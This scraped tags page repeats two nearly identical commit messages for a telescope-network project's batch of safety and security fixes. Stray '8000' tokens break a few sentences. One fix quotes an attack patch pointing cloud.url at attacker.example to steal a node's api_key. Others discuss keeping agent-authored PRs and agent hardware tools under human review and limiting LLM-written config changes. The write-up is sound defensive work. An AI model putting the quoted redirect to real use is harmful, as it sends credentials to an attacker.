Repository navigation
Tags
Tags
Claude/zen gauss xincf9 (#144) * Use defusedxml for GCN Kafka notices and ASTAP PackageInfo parsing Both parsed XML from a network-facing source with the stdlib xml.etree.ElementTree, which is vulnerable to entity-expansion/XXE attacks. The project already treats this as a real risk (defusedxml is a listed dependency specifically "for safe XML parsing of public resolver responses" and cloud/server.py already uses it) but missed these two call sites. * Close merge-policy gap: protect the live scheduler and node control loop cloud/scheduler.py dispatches every planning run to CHORUS (cloud/chorus/*.py, the default live scheduler per CHORUS.md) or its legacy fallback cloud/network_planner.py -- none of these were in the merge-policy's PROTECTED list, even though the legacy scoring module they superseded (cloud/objective.py) was. An agent-authored PR labelled agent-auto-merge touching the code that decides what every telescope in the fleet observes could have skipped human review entirely. src/dashboard.py had the same gap: git history shows real mount/camera safety fixes (mid-expose hijack refuse, slew-refuse, capture latches -- #120, #131-136, #140) landing there, not only in alpaca/, which is already protected. Added regression tests mirroring the existing BlastRadiusTest style. * Fix three Flutter session/UI bugs found in audit - dashboard_tab.dart: _load() swallowed every error from nodes(), observations(), timeline() and targets() (including 401s) into empty lists, so an expired/revoked session never triggered handleAuthError's sign-out on the app's default tab -- the dashboard just sat empty forever instead of returning to login, unlike every other screen (nodes_tab.dart, me_screen.dart, etc.) which already route errors through handleAuthError. - notifications_tab.dart: _markRead() called setState (via _refresh()) after two awaited network calls with no `mounted` guard, unlike every other screen in the app -- dismissing the notifications dialog before those calls resolve throws "setState() called after dispose()". - api_client.dart: login()/register() cast json['token']/json['user_id'] directly to String, so a 2xx response missing either field (e.g. a misrouted gateway page) threw a bare TypeError that AppState._authFlow's catch-all reported as "Could not reach the network" -- wrong guidance for what is actually a server contract problem. Now raises a clear ApiException instead. * Fix plan-item reordering across local midnight and a transit-slot truncation sequence_node (both cloud/chorus/perform.py and its legacy twin cloud/network_planner.py) built each node's PlanItem list in correct absolute-time order, then re-sorted it by the local "HH:MM" startTime string. For any observing window spanning local midnight -- the normal case, dusk to pre-dawn -- string comparison puts post-midnight items ("00:15") before evening items ("23:15"), reversing the second half of the night's plan. Dropped the redundant, destructive re-sort in both places; added regression tests exercising a window that crosses midnight (the existing sequence_node tests only used same-evening slots, so they couldn't catch this). Also fixed an off-by-one in the transit-opportunity slot calculation (cloud/chorus/assign.py): int() truncates toward zero, so a transit window starting a fraction of a slot before ctx.t0 truncated to slot 0 instead of a negative slot, slipping past the `s0 < 0` rejection guard and silently placing the opportunity at ctx.t0. Changed to math.floor(). * Fix cross-node task overwrite, permanent dry_run submission loss, timing-unsafe admin key cloud/survey.py: ingest_batch's observation_tasks UPDATE was keyed only on task_id, unlike the ownership-scoped SELECT a few lines above it and the equivalent update in cloud/autonomy.py (WHERE task_id=%s AND node_id=%s). task_id is not a secret -- it's a deterministic hash of public inputs and is returned in plaintext to nodes by GET /api/v1/tasks -- so any registered node could overwrite another node's task result (limiting_magnitude, accepted_sources) using only its own, unrelated credentials. Added the missing node_id scope and a regression test that reproduces the cross-node overwrite against a real Postgres DB. cloud/data_pipeline.py: submit_pending_batch marked every measurement in a dry_run batch as aavso_submitted=1 even though dry_run never POSTs to WebObs. Since the pending-batch query filters on aavso_submitted=0, turning dry_run back off after any dry run would never resubmit that data -- real observations would silently never reach AAVSO. Only mark submitted on a real "accepted" status now (matches the same hazard the file already guards against for an unparseable WebObs response, see the comment a few lines below in _post_batch). cloud/server.py: require_admin/require_admin_readonly compared the presented X-Admin-Key with plain string equality, unlike every other secret comparison in this codebase (cloud/auth.py, cloud/registry.py), which use secrets.compare_digest/hmac.compare_digest specifically to avoid timing side-channels. These two guard the most powerful endpoints in the app. Switched both to secrets.compare_digest. * Fix three ALPACA-layer bugs: bare KeyError, ROI binning, half-pixel offset alpaca/client.py: AlpacaClient._get/ping accessed body["Value"] directly after checking ErrorNumber, so a driver returning valid JSON with ErrorNumber 0 but no "Value" field -- exactly what the fuzz harness models as the "missing_value" protocol fault (tests/fuzz/fakealpaca.py) -- raised a bare KeyError instead of the structured AlpacaError every caller expects. dashboard.py's camera-drop recovery classifies failures by AlpacaError/message text (_camera_unreachable_exc), so this took the abort-the-science-item path instead of the intended reconnect-and-retry. Added _require_value() and a regression test. alpaca/camera.py: reset_roi() passed CameraXSize/CameraYSize (always unbinned per ASCOM/ALPACA ICameraV3) straight through as NumX/NumY (which must be given in binned pixels). After set_binning(2, 2), the resulting ROI request is 4x too large. Now divides by the camera's current BinX/BinY. src/plate_solve.py: _read_solution() computed the field-centre pixel as (nx/2, ny/2) for a pixel_to_world() call that takes 0-indexed coordinates -- the correct centre index is (nx-1)/2, off by half a pixel. alpaca/platesolve.py already uses the correct convention for the same computation; this brings _read_solution's contributed-frame report in line with it. Verified numerically: a WCS whose CRPIX sits at the FITS-convention image centre only reproduces CRVAL exactly with the (nx-1)/2 convention. * Fix heartbeat flapping and a lost-update race in execution-outcome uploads src/cloud_communicator.py: _flush_execution_outcomes posted to the cloud with no exception handling, unlike its three siblings (_flush_queue, _flush_survey_queue, _flush_telemetry_queue), which all wrap their POST and record a per-row failure. It runs right after a heartbeat has already succeeded; a transient failure there was only caught by the heartbeat loop's own last-resort handler, which then marked that already-successful heartbeat as failed (last_heartbeat_ok=False) and fired a spurious cloud_heartbeat_restored on the next good one -- telemetry flapping disconnected from actual connectivity. Now caught and logged in place, same as the other three flush helpers. src/autonomy.py: mark_uploaded acked pending execution outcomes by attempt_id alone. dashboard.py's record_execution_outcome does INSERT OR REPLACE keyed on attempt_id, calling it once for "started" and again -- potentially minutes later, for a real exposure -- for the item's final state. If a heartbeat's outcomes upload was still in flight when the second record() overwrote the same attempt_id row (resetting uploaded=0), the earlier fetch's mark_uploaded would blindly flip that freshly-overwritten row to uploaded=1, even though the cloud only ever received the stale "started" payload -- silently dropping the item's actual completion/failure from the cloud's view. Now acks by (attempt_id, rowid), so a row that changed mid-flight is correctly left pending and resent instead of dropped. * Close the unattended-imaging safety gap; harden the telescope poll loop The unattended imaging handoff (_run_imaging_block, run after a bounded research block when nobody is awake to supervise it) was invisible to every mid-expose safety guard: - _sched_state["running"] is set False in _run_schedule_bg's finally block *before* _run_imaging_block starts (deliberately, so the schedule reports "done" rather than "still running" during imaging). _science_capture_active() only checked that flag and the manual-expose latch, so it returned False throughout the entire imaging block -- meaning the mid-expose hijack guards built for issues #116/#120/#123/ #131/#135 (slew refusal, park guard, expose guard) never protected the mount during it. Fixed by also checking _imaging_state["running"]. - _on_cloud_tonight's stand-down handler only aborted the exposure and parked the mount when a *schedule* was running (was_running from _sched_state). A cloud stand-down received mid-imaging armed the latch and updated _tonight, but never touched the hardware -- the imaging hold loop only polls _tonight_allows_observing() every 5s, and even then only stops taking new frames itself. Fixed by also acting on was_imaging: abort, park, and tell the background stacking thread to stop right away. - _run_imaging_block's hold loop, on exit for any reason (cancelled, stood-down, or unsafe), only cleared _imaging_state["running"] -- never telling the background stacking thread (sized for ~10h of frames) to stop, so it kept commanding the camera regardless of why the loop exited. Fixed by setting _stack_state["cancelled"] and aborting/parking on every exit path. Added regression tests for all three (each verified to fail without the fix, per the existing test's own conventions in this file). Separately hardened _poll_loop: it stored _tel.ra()/.dec()/.is_slewing() etc. straight into _state["telescope"] with no type validation. A malformed device response would sit there, unformattable, until the next successful poll -- and the first f"{ra:.4f}"-style formatting of it (e.g. the manual-exposure target name) would crash with a confusing error far from this loop. Now coerced with float()/bool() at the read site. This surfaced as a real, reproducible test-suite flake once the new imaging tests above added a couple more brief _tel-mocking windows for an already-running poller thread (leaked from an earlier test that connects a device and never disconnects) to race against; confirmed fixed by two clean full-suite runs after the change, versus consistent failure before it. * Enforce per-node max_targets cap in mid-night reflow placement reflow.greedy_place reuses assign.best_slot's marginal-value calculation but not assign.assign()'s node_count >= ctx.max_targets guard. Each greedy_place call builds a fresh _State with no shared occupancy/count ledger across separate reflow events, and tick() can invoke it multiple times per night across separate dropout/starved-node events -- so a single dark node with spare time could be handed far more reflow targets than scheduler.max_targets_per_night permits, undetected. Added the same cap check assign.assign() already applies. * Protect cloud/tuning.py in the merge policy too Same gap as the scheduler/CHORUS fix: cloud/tuning.py applies Claude-proposed scoring-weight changes network-wide (behind a counterfactual backtest gate per CHORUS.md), which is exactly the kind of change the policy already protects cloud/objective.py for -- but tuning.py itself was missing. * Gate start_stacking behind the production hardware guard telescope_mcp/tools/images.py imports require_non_production and uses it on run_imaging_program (which slews), but start_stacking -- which calls POST /api/stack/start, and from there _run_stacking_bg's real _cam.expose() loop -- had no guard at all. /api/stack/start itself has no independent environment check server-side (only capacity/state guards); it relies entirely on the MCP tool layer for this, per guard.py's own stated model. An agent could call start_stacking against a member's production telescope and it would actually expose the camera repeatedly, unrefused -- exactly the class of action telescope_mcp/tools/hardware.py's module docstring says must always be refused against production ("moves the mount, opens the arm or exposes the camera"). Added start_stacking and run_imaging_program to the existing HardwareToolGatingTest production-refusal sweep (run_imaging_program was already correctly gated; added for completeness/regression coverage). * Fix invalid MPC trkSub, broken db scripts, stale realtime DSN, dedup scoping cloud/mpc_report.py: trkSub was set from candidate["designation"] ("BS-MP 2024-0007" -- 15 chars, contains a space and hyphens), but ADES requires trkSub to be alphanumeric and <=8 characters. Since generate_report() is only ever called right after confirm_candidate() sets that designation, every real ADES report this system has produced carries a non-conformant trkSub and would fail MPC's parser or get mangled on submission -- the same class of "wrong format published externally" bug already fixed for AAVSO. Added _trk_sub(), a short base36-derived id kept separate from the human-readable designation. scripts/manage.py, scripts/seed_demo.py: both read config["database"]["path"] and called db.init() with it, but cloud/db.py has been Postgres-only for a long time (DATABASE_URL / 8000 config database.url, no "path" key anywhere in cloud/config.yaml). Every subcommand of both scripts crashed immediately with an invalid DSN. seed_demo.py also still used SQLite-only syntax (INSERT OR REPLACE/ IGNORE, ? placeholders) left over from before the Postgres migration. Fixed the config key in both and rewrote seed_demo.py's inserts to Postgres syntax (%s placeholders, ON CONFLICT ... DO UPDATE/DO NOTHING matching each table's actual unique constraints) -- verified end-to-end against a real local Postgres instance, including idempotent re-seeding and --wipe. realtime/app.py: create_app() resolved the main DB pool's DSN config-first/env-fallback but the LISTEN thread's DSN env-first/ config-fallback -- opposite precedence for what must be the same database. attach_to_api() used yet a third (env-first) order, inconsistent with how its caller (cloud/main.py) actually initializes the pool. In a dev setup where cloud/config.yaml hardcodes a local DSN and DATABASE_URL also happens to be set, the main pool and the LISTEN connection would silently point at two different databases: health checks and node auth work fine, but live dispatch events pushed via pg_notify() never reach the SSE fan-out. Unified both call sites on one precedence rule. scripts/beta_capture.py: the capture manifest deduped entries by sha256 alone, but the same file's bytes can legitimately be added under a second campaign (each gets its own on-disk copy, keyed by campaign in the destination path). Adding it under a second campaign silently evicted the first campaign's manifest entry -- the file copy stays on disk but audit() (which only reads the manifest) no longer verifies it and reports that campaign as still TODO. Scoped the dedup to (sha256, campaign). scripts/merge_policy.py, tests/test_merge_policy.py: cloud/server.py (node registration/rekey, the require_node/require_admin decorators, measurement ingestion -- the entire cloud HTTP API) was missing from the auto-merge protection list, the same gap already found and fixed for the scheduler and dashboard control loop. All new/changed behavior covered by regression tests, each verified to fail on the prior code and pass on the fix. * Enforce help-chat's config-patch keys as an allowlist, not a denylist _PROJECT_CONTEXT tells the help-chat model a specific list of "safe config.yaml keys you may patch (never secrets)". The actual enforcement, _sanitize_patch, checked none of that -- it only dropped keys whose name contained a secret-sounding fragment (password/api_key/secret/token/ auth/credential). Any other key, named anything else, passed straight through, and src/config_patch.py deep-merges whatever survives here into the member's real, physical node's config.yaml with no further validation. Concretely: {"cloud": {"url": "http://attacker.example/"}} contains no blocked fragment, so it would have been queued and applied -- silently redirecting that node's authenticated cloud traffic, api_key included, to wherever the patch pointed it. Same for scheduler.*, observatory.*, or any other section never intended to be help-chat-writable. Replaced the denylist with an explicit allowlist of the exact dotted key paths already documented to the model, so a key not on that list is dropped regardless of what it's named. Added regression tests (this module had none before) covering the documented-safe-keys case, the concrete cloud.url attack, still-blocked secret names, and a sync-check that every key _PROJECT_CONTEXT advertises is actually accepted by _ALLOWED_PATCH_KEYS. * Enforce reflex's per-candidate cap; fix external-coverage cache key cloud/reflex.py: on_candidate_promoted read survey.reflex.max_per_candidate into cfg (and the module docstring advertises "global + per-candidate nightly caps" as a guardrail), but never checked it -- only the global nightly count, the in-memory cooldown, and whether an interrupt is still open. Once an earlier reflex interrupt for a source expires, the same source could keep re-firing all night, limited only by the global cap. Added a DB-backed per-source nightly count (mirrors the existing _fired_tonight query, scoped to this source's interrupt name) and check it against max_per_candidate. cloud/external_coverage.py: the in-memory cache keyed by target name alone, but external_observation_count's result is a function of window_days too (both the AAVSO and ALeRCE queries scale their count by it). Any two calls for the same target with different windows within the 6h TTL would silently return whichever answer was cached first, for the wrong window. Keyed the cache by (name, window_days) instead. * Protect cloud/mpc_report.py, cloud/help_chat.py, src/config_patch.py cloud/mpc_report.py: same "publishes real data externally" class as the already-protected AAVSO files, just found and fixed for an invalid trkSub field -- was missing from the list. cloud/help_chat.py, src/config_patch.py: found and fixed a real allowlist-vs-denylist gap here this session (an LLM-driven config patch for a member's physical node could write any non-secret-named key, including cloud.url). These are the two files that together decide what an LLM conversation may write into a node's real config.yaml with no human in the loop -- exactly the kind of change this policy exists to require a person for. * Fix Optional[...]-typed fields silently skipping type coercion _coerce()'s docstring promises that a wrongly-typed field arriving over the network (a string where a float belongs) is caught here rather than flowing into SQL parameters or arithmetic far from the input boundary. But it only matched `typ is float`/`int`/`str`/`bool` exactly. Nearly every field on these dataclasses is declared Optional[float] (the value may be absent), whose runtime type is the Union object, not float itself -- so none of _coerce's branches matched and the raw value passed through completely uncoerced. Concretely: Measurement.airmass/fwhm/snr/zero_point/zp_scatter/hjd/ sky_mag/instrumental_magnitude/network_magnitude/network_uncertainty/ calibration_correction, TargetInfo.mag, CalibrationSample.catalog_color/ airmass, and NetworkEvent.area50_deg2/area90_deg2 all skipped coercion entirely. cloud/data_pipeline.py's ingest_measurement calls Measurement.from_dict() on an untrusted node upload and puts these straight into a parameterized SQL INSERT -- a payload where any of them arrives as a string (a legacy node agent, a JSON encoder quirk, a placeholder value) would either store the wrong type or fail deep inside the DB layer instead of failing cleanly here. Added _unwrap_optional() to reduce Optional[X] to X before _coerce sees it (None already short-circuits inside _coerce, so this only affects the case where a value is actually present). * Fix imaging handoff's own stacking self-gating on _imaging_state _science_capture_active() now returns True for the whole unattended imaging handoff (via _imaging_state["running"]), which the mid-expose hijack guards need. But _run_stacking_bg's per-frame loop also gates on that same flag through _preview_commands_allowed(), so the imaging block's own stacking thread saw itself as the conflict and stopped after its first frame -- every unattended imaging night produced zero stacked frames. Add is_science_capture, set True only when _run_imaging_block spawns its own stacking thread, so that run skips the self-referential check while manual/API-triggered preview stacking keeps deferring as before. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> --------- Co-authored-by: Claude <noreply@anthropic.com> Co-authored-by: Scott Mellis <skyrobot804@gmail.com>
Fix 20 verified bugs: safety, security, scheduler, cloud API, externa… …l formats (#143) * Use defusedxml for GCN Kafka notices and ASTAP PackageInfo parsing Both parsed XML from a network-facing source with the stdlib xml.etree.ElementTree, which is vulnerable to entity-expansion/XXE attacks. The project already treats this as a real risk (defusedxml is a listed dependency specifically "for safe XML parsing of public resolver responses" and cloud/server.py already uses it) but missed these two call sites. * Close merge-policy gap: protect the live scheduler and node control loop cloud/scheduler.py dispatches every planning run to CHORUS (cloud/chorus/*.py, the default live scheduler per CHORUS.md) or its legacy fallback cloud/network_planner.py -- none of these were in the merge-policy's PROTECTED list, even though the legacy scoring module they superseded (cloud/objective.py) was. An agent-authored PR labelled agent-auto-merge touching the code that decides what every telescope in the fleet observes could have skipped human review entirely. src/dashboard.py had the same gap: git history shows real mount/camera safety fixes (mid-expose hijack refuse, slew-refuse, capture latches -- #120, #131-136, #140) landing there, not only in alpaca/, which is already protected. Added regression tests mirroring the existing BlastRadiusTest style. * Fix three Flutter session/UI bugs found in audit - dashboard_tab.dart: _load() swallowed every error from nodes(), observations(), timeline() and targets() (including 401s) into empty lists, so an expired/revoked session never triggered handleAuthError's sign-out on the app's default tab -- the dashboard just sat empty forever instead of returning to login, unlike every other screen (nodes_tab.dart, me_screen.dart, etc.) which already route errors through handleAuthError. - notifications_tab.dart: _markRead() called setState (via _refresh()) after two awaited network calls with no `mounted` guard, unlike every other screen in the app -- dismissing the notifications dialog before those calls resolve throws "setState() called after dispose()". - api_client.dart: login()/register() cast json['token']/json['user_id'] directly to String, so a 2xx response missing either field (e.g. a misrouted gateway page) threw a bare TypeError that AppState._authFlow's catch-all reported as "Could not reach the network" -- wrong guidance for what is actually a server contract problem. Now raises a clear ApiException instead. * Fix plan-item reordering across local midnight and a transit-slot truncation sequence_node (both cloud/chorus/perform.py and its legacy twin cloud/network_planner.py) built each node's PlanItem list in correct absolute-time order, then re-sorted it by the local "HH:MM" startTime string. For any observing window spanning local midnight -- the normal case, dusk to pre-dawn -- string comparison puts post-midnight items ("00:15") before evening items ("23:15"), reversing the second half of the night's plan. Dropped the redundant, destructive re-sort in both places; added regression tests exercising a window that crosses midnight (the existing sequence_node tests only used same-evening slots, so they couldn't catch this). Also fixed an off-by-one in the transit-opportunity slot calculation (cloud/chorus/assign.py): int() truncates toward zero, so a transit window starting a fraction of a slot before ctx.t0 truncated to slot 0 instead of a negative slot, slipping past the `s0 < 0` rejection guard and silently placing the opportunity at ctx.t0. Changed to math.floor(). * Fix cross-node task overwrite, permanent dry_run submission loss, timing-unsafe admin key cloud/survey.py: ingest_batch's observation_tasks UPDATE was keyed only on task_id, unlike the ownership-scoped SELECT a few lines above it and the equivalent update in cloud/autonomy.py (WHERE task_id=%s AND node_id=%s). task_id is not a secret -- it's a deterministic hash of public inputs and is returned in plaintext to nodes by GET /api/v1/tasks -- so any registered node could overwrite another node's task result (limiting_magnitude, accepted_sources) using only its own, unrelated credentials. Added the missing node_id scope and a regression test that reproduces the cross-node overwrite against a real Postgres DB. cloud/data_pipeline.py: submit_pending_batch marked every measurement in a dry_run batch as aavso_submitted=1 even though dry_run never POSTs to WebObs. Since the pending-batch query filters on aavso_submitted=0, turning dry_run back off after any dry run would never resubmit that data -- real observations would silently never reach AAVSO. Only mark submitted on a real "accepted" status now (matches the same hazard the file already guards against for an unparseable WebObs response, see the comment a few lines below in _post_batch). cloud/server.py: require_admin/require_admin_readonly compared the presented X-Admin-Key with plain string equality, unlike every other secret comparison in this codebase (cloud/auth.py, cloud/registry.py), which use secrets.compare_digest/hmac.compare_digest specifically to avoid timing side-channels. These two guard the most powerful endpoints in the app. Switched both to secrets.compare_digest. * Fix three ALPACA-layer bugs: bare KeyError, ROI binning, half-pixel offset alpaca/client.py: AlpacaClient._get/ping accessed body["Value"] directly after checking ErrorNumber, so a driver returning valid JSON with ErrorNumber 0 but no "Value" field -- exactly what the fuzz harness models as the "missing_value" protocol fault (tests/fuzz/fakealpaca.py) -- raised a bare KeyError instead of the structured AlpacaError every caller expects. dashboard.py's camera-drop recovery classifies failures by AlpacaError/message text (_camera_unreachable_exc), so this took the abort-the-science-item path instead of the intended reconnect-and-retry. Added _require_value() and a regression test. alpaca/camera.py: reset_roi() passed CameraXSize/CameraYSize (always unbinned per ASCOM/ALPACA ICameraV3) straight through as NumX/NumY (which must be given in binned pixels). After set_binning(2, 2), the resulting ROI request is 4x too large. Now divides by the camera's current BinX/BinY. src/plate_solve.py: _read_solution() computed the field-centre pixel as (nx/2, ny/2) for a pixel_to_world() call that takes 0-indexed coordinates -- the correct centre index is (nx-1)/2, off by half a pixel. alpaca/platesolve.py already uses the correct convention for the same computation; this brings _read_solution's contributed-frame report in line with it. Verified numerically: a WCS whose CRPIX sits at the FITS-convention image centre only reproduces CRVAL exactly with the (nx-1)/2 convention. * Fix heartbeat flapping and a lost-update race in execution-outcome uploads src/cloud_communicator.py: _flush_execution_outcomes posted to the cloud with no exception handling, unlike its three siblings (_flush_queue, _flush_survey_queue, _flush_telemetry_queue), which all wrap their POST and record a per-row failure. It runs right after a heartbeat has already succeeded; a transient failure there was only caught by the heartbeat loop's own last-resort handler, which then marked that already-successful heartbeat as failed (last_heartbeat_ok=False) and fired a spurious cloud_heartbeat_restored on the next good one -- telemetry flapping disconnected from actual connectivity. Now caught and logged in place, same as the other three flush helpers. src/autonomy.py: mark_uploaded acked pending execution outcomes by attempt_id alone. dashboard.py's record_execution_outcome does INSERT OR REPLACE keyed on attempt_id, calling it once for "started" and again -- potentially minutes later, for a real exposure -- for the item's final state. If a heartbeat's outcomes upload was still in flight when the second record() overwrote the same attempt_id row (resetting uploaded=0), the earlier fetch's mark_uploaded would blindly flip that freshly-overwritten row to uploaded=1, even though the cloud only ever received the stale "started" payload -- silently dropping the item's actual completion/failure from the cloud's view. Now acks by (attempt_id, rowid), so a row that changed mid-flight is correctly left pending and resent instead of dropped. * Close the unattended-imaging safety gap; harden the telescope poll loop The unattended imaging handoff (_run_imaging_block, run after a bounded research block when nobody is awake to supervise it) was invisible to every mid-expose safety guard: - _sched_state["running"] is set False in _run_schedule_bg's finally block *before* _run_imaging_block starts (deliberately, so the schedule reports "done" rather than "still running" during imaging). _science_capture_active() only checked that flag and the manual-expose latch, so it returned False throughout the entire imaging block -- meaning the mid-expose hijack guards built for issues #116/#120/#123/ #131/#135 (slew refusal, park guard, expose guard) never protected the mount during it. Fixed by also checking _imaging_state["running"]. - _on_cloud_tonight's stand-down handler only aborted the exposure and parked the mount when a *schedule* was running (was_running from _sched_state). A cloud stand-down received mid-imaging armed the latch and updated _tonight, but never touched the hardware -- the imaging hold loop only polls _tonight_allows_observing() every 5s, and even then only stops taking new frames itself. Fixed by also acting on was_imaging: abort, park, and tell the background stacking thread to stop right away. - _run_imaging_block's hold loop, on exit for any reason (cancelled, stood-down, or unsafe), only cleared _imaging_state["running"] -- never telling the background stacking thread (sized for ~10h of frames) to stop, so it kept commanding the camera regardless of why the loop exited. Fixed by setting _stack_state["cancelled"] and aborting/parking on every exit path. Added regression tests for all three (each verified to fail without the fix, per the existing test's own conventions in this file). Separately hardened _poll_loop: it stored _tel.ra()/.dec()/.is_slewing() etc. straight into _state["telescope"] with no type validation. A malformed device response would sit there, unformattable, until the next successful poll -- and the first f"{ra:.4f}"-style formatting of it (e.g. the manual-exposure target name) would crash with a confusing error far from this loop. Now coerced with float()/bool() at the read site. This surfaced as a real, reproducible test-suite flake 8000 once the new imaging tests above added a couple more brief _tel-mocking windows for an already-running poller thread (leaked from an earlier test that connects a device and never disconnects) to race against; confirmed fixed by two clean full-suite runs after the change, versus consistent failure before it. * Enforce per-node max_targets cap in mid-night reflow placement reflow.greedy_place reuses assign.best_slot's marginal-value calculation but not assign.assign()'s node_count >= ctx.max_targets guard. Each greedy_place call builds a fresh _State with no shared occupancy/count ledger across separate reflow events, and tick() can invoke it multiple times per night across separate dropout/starved-node events -- so a single dark node with spare time could be handed far more reflow targets than scheduler.max_targets_per_night permits, undetected. Added the same cap check assign.assign() already applies. * Protect cloud/tuning.py in the merge policy too Same gap as the scheduler/CHORUS fix: cloud/tuning.py applies Claude-proposed scoring-weight changes network-wide (behind a counterfactual backtest gate per CHORUS.md), which is exactly the kind of change the policy already protects cloud/objective.py for -- but tuning.py itself was missing. * Gate start_stacking behind the production hardware guard telescope_mcp/tools/images.py imports require_non_production and uses it on run_imaging_program (which slews), but start_stacking -- which calls POST /api/stack/start, and from there _run_stacking_bg's real _cam.expose() loop -- had no guard at all. /api/stack/start itself has no independent environment check server-side (only capacity/state guards); it relies entirely on the MCP tool layer for this, per guard.py's own stated model. An agent could call start_stacking against a member's production telescope and it would actually expose the camera repeatedly, unrefused -- exactly the class of action telescope_mcp/tools/hardware.py's module docstring says must always be refused against production ("moves the mount, opens the arm or exposes the camera"). Added start_stacking and run_imaging_program to the existing HardwareToolGatingTest production-refusal sweep (run_imaging_program was already correctly gated; added for completeness/regression coverage). * Fix invalid MPC trkSub, broken db scripts, stale realtime DSN, dedup scoping cloud/mpc_report.py: trkSub was set from candidate["designation"] ("BS-MP 2024-0007" -- 15 chars, contains a space and hyphens), but ADES requires trkSub to be alphanumeric and <=8 characters. Since generate_report() is only ever called right after confirm_candidate() sets that designation, every real ADES report this system has produced carries a non-conformant trkSub and would fail MPC's parser or get mangled on submission -- the same class of "wrong format published externally" bug already fixed for AAVSO. Added _trk_sub(), a short base36-derived id kept separate from the human-readable designation. scripts/manage.py, scripts/seed_demo.py: both read config["database"]["path"] and called db.init() with it, but cloud/db.py has been Postgres-only for a long time (DATABASE_URL / config database.url, no "path" key anywhere in cloud/config.yaml). Every subcommand of both scripts crashed immediately with an invalid DSN. seed_demo.py also still used SQLite-only syntax (INSERT OR REPLACE/ IGNORE, ? placeholders) left over from before the Postgres migration. Fixed the config key in both and rewrote seed_demo.py's inserts to Postgres syntax (%s placeholders, ON CONFLICT ... DO UPDATE/DO NOTHING matching each table's actual unique constraints) -- verified end-to-end against a real local Postgres instance, including idempotent re-seeding and --wipe. realtime/app.py: create_app() resolved the main DB pool's DSN config-first/env-fallback but the LISTEN thread's DSN env-first/ config-fallback -- opposite precedence for what must be the same database. attach_to_api() used yet a third (env-first) order, inconsistent with how its caller (cloud/main.py) actually initializes the pool. In a dev setup where cloud/config.yaml hardcodes a local DSN and DATABASE_URL also happens to be set, the main pool and the LISTEN connection would silently point at two different databases: health checks and node auth work fine, but live dispatch events pushed via pg_notify() never reach the SSE fan-out. Unified both call sites on one precedence rule. scripts/beta_capture.py: the capture manifest deduped entries by sha256 alone, but the same file's bytes can legitimately be added under a second campaign (each gets its own on-disk copy, keyed by campaign in the destination path). Adding it under a second campaign silently evicted the first campaign's manifest entry -- the file copy stays on disk but audit() (which only reads the manifest) no longer verifies it and reports that campaign as still TODO. Scoped the dedup to (sha256, campaign). scripts/merge_policy.py, tests/test_merge_policy.py: cloud/server.py (node registration/rekey, the require_node/require_admin decorators, measurement ingestion -- the entire cloud HTTP API) was missing from the auto-merge protection list, the same gap already found and fixed for the scheduler and dashboard control loop. All new/changed behavior covered by regression tests, each verified to fail on the prior code and pass on the fix. * Enforce help-chat's config-patch keys as an allowlist, not a denylist _PROJECT_CONTEXT tells the help-chat model a specific list of "safe config.yaml keys you may patch (never secrets)". The actual enforcement, _sanitize_patch, checked none of that -- it only dropped keys whose name contained a secret-sounding fragment (password/api_key/secret/token/ auth/credential). Any other key, named anything else, passed straight through, and src/config_patch.py deep-merges whatever survives here into the member's real, physical node's config.yaml with no further validation. Concretely: {"cloud": {"url": "http://attacker.example/"}} contains no blocked fragment, so it would have been queued and applied -- silently redirecting that node's authenticated cloud traffic, api_key included, to wherever the patch pointed it. Same for scheduler.*, observatory.*, or any other section never intended to be help-chat-writable. Replaced the denylist with an explicit allowlist of the exact dotted key paths already documented to the model, so a key not on that list is dropped regardless of what it's named. Added regression tests (this module had none before) covering the documented-safe-keys case, the concrete cloud.url attack, still-blocked secret names, and a sync-check that every key _PROJECT_CONTEXT advertises is actually accepted by _ALLOWED_PATCH_KEYS. * Enforce reflex's per-candidate cap; fix external-coverage cache key cloud/reflex.py: on_candidate_promoted read survey.reflex.max_per_candidate into cfg (and the module docstring advertises "global + per-candidate nightly caps" as a guardrail), but never checked it -- only the global nightly count, the in-memory cooldown, and whether an interrupt is still open. Once an earlier reflex interrupt for a source expires, the same source could keep re-firing all night, limited only by the global cap. Added a DB-backed per-source nightly count (mirrors the existing _fired_tonight query, scoped to this source's interrupt name) and check it against max_per_candidate. cloud/external_coverage.py: the in-memory cache keyed by target name alone, but external_observation_count's result is a function of window_days too (both the AAVSO and ALeRCE queries scale their count by it). Any two calls for the same target with different windows within the 6h TTL would silently return whichever answer was cached first, for the wrong window. Keyed the cache by (name, window_days) instead. * Protect cloud/mpc_report.py, cloud/help_chat.py, src/config_patch.py cloud/mpc_report.py: same "publishes real data externally" class as the already-protected AAVSO files, just found and fixed for an invalid trkSub field -- was missing from the list. cloud/help_chat.py, src/config_patch.py: found and fixed a real allowlist-vs-denylist gap here this session (an LLM-driven config patch for a member's physical node could write any non-secret-named key, including cloud.url). These are the two files that together decide what an LLM conversation may write into a node's real config.yaml with no human in the loop -- exactly the kind of change this policy exists to require a person for. * Fix Optional[...]-typed fields silently skipping type coercion _coerce()'s docstring promises that a wrongly-typed field arriving over the network (a string where a float belongs) is caught here rather than flowing into SQL parameters or arithmetic far from the input boundary. But it only matched `typ is float`/`int`/`str`/`bool` exactly. Nearly every field on these dataclasses is declared Optional[float] (the value may be absent), whose runtime type is the Union object, not float itself -- so none of _coerce's branches matched and the raw value passed through completely uncoerced. Concretely: Measurement.airmass/fwhm/snr/zero_point/zp_scatter/hjd/ sky_mag/instrumental_magnitude/network_magnitude/network_uncertainty/ calibration_correction, TargetInfo.mag, CalibrationSample.catalog_color/ airmass, and NetworkEvent.area50_deg2/area90_deg2 all skipped coercion entirely. cloud/data_pipeline.py's ingest_measurement calls Measurement.from_dict() on an untrusted node upload and puts these straight into a parameterized SQL INSERT -- a payload where any of them arrives as a string (a legacy node agent, a JSON encoder quirk, a placeholder value) would either store the wrong type or fail deep inside the DB layer instead of failing cleanly here. Added _unwrap_optional() to reduce Optional[X] to X before _coerce sees it (None already short-circuits inside _coerce, so this only affects the case where a value is actually present). --------- Co-authored-by: Claude <noreply@anthropic.com>
PreviousNext